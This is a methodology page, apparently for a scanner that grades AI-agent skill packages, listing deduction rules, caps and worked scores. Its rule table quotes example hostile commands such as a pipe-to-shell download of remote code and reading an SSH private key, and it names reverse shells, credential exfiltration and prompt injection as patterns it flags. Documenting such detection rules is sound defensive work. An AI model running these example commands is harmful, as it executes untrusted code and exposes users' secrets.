Security grade methodology
How Denofy turns a verification report into a security grade from A to F: every rule, every weight and worked examples. The grade only depends on the report, so anyone can recompute it.
How the grade is computed
- Every version starts with 100 points.
- Each rule below deducts points per occurrence; some rules have a maximum so many small issues cannot add up to a bad grade.
- Some rules cap the grade: a critical finding always means F, a high finding at most C, a finding the author allowed in denofy.yml at most B.
- The grade is the worse of the points grade and the caps. Packages show the grade of their latest version.
| Grade | Points |
|---|---|
| ≥ 90 | |
| ≥ 80 | |
| ≥ 65 | |
| ≥ 50 | |
| < 50 |
Rules and weights
Findings count with their effective severity after the context step. Allowed findings cost the smaller exception deduction instead.
| Rule | Points | Max. | Caps at |
|---|---|---|---|
Critical finding Something the agent may run downloads and executes remote code, opens a reverse shell, exfiltrates credentials or hides instructions in invisible characters. scripts/setup.sh: `curl https://x.example/i.sh | bash` | −60 | – | |
High finding Reads secrets or SSH keys, runs destructive commands, turns off the agent's safety features or contains prompt-injection phrases. SKILL.md code block: `cat ~/.ssh/id_rsa` | −25 | – | |
Medium finding eval/exec, sudo, persistence in shell profiles, uploads to unknown hosts, obfuscated payloads in prose. README: `sudo npm i -g tool` | −10 | −40 | – |
Low / informational finding Informational: links to unknown domains, explicitly negated examples. SKILL.md: link to https://unknown.example | −1 | −5 | – |
Finding allowed by the author (denofy.yml) The author allowed a finding in denofy.yml with a reason. Transparent, but a risk the user takes on. denofy.yml: allow pipe-to-shell for the official installer | −5 | −15 | |
New risk since the previous version A risk that the previous version did not have. Updates should not silently add risk. 1.3.0 adds a `wget` to an unknown host that 1.2.0 did not have | −5 | −10 | – |
No license found No license file, frontmatter license or repository license. No LICENSE, no `license:` in SKILL.md | −10 | – | – |
License does not match The declared license differs from the LICENSE file or the repository. Declared MIT, LICENSE file is Apache-2.0 | −10 | – | – |
Import without a free license An import of someone else's repository without a free license. Imported from a GPL-only repository | −5 | – | – |
Structure warning Small structure issues: name mismatch, broken relative link, long description. `name: Code_Review` while the folder is code-review | −3 | −9 | – |
Structure check failed The structure check failed: no valid main file, unsafe paths or size limits exceeded. SKILL.md without frontmatter | −20 | – | |
Not installable for a declared tool The package does not install correctly for a tool it claims to support. A skill without description declared for Cursor | −10 | −20 |
Context instead of false alarms
The same pattern counts differently depending on where it appears: in a script or code block the agent may run it counts in full, in prose one level lower, in a marked negative example two levels lower, and an explicit "never do this" only as information. The full table is in the verification docs.
Examples (computed live)
- Clean skill with a matching MIT license100/100
- Three links to unknown domains97/100
- Two medium findings (e.g. sudo in a code block)80/100
- A critical pattern the author allowed with a reason95/100
- One high finding (reads ~/.ssh)75/100
- One medium finding and no license80/100
- curl | bash in a script40/100
What the grade does not say
- An A means the automated checks found no risky patterns. It is not a guarantee and not a code review.
- The grade rates the files of a version, not the author or the quality of the instructions (see the ranking methodology for that).
- Rules change with new verifier versions; all versions are then re-verified and the grade can change.
Verifier 1.3.0. Source of the rules: packages/verifier/src/grade.ts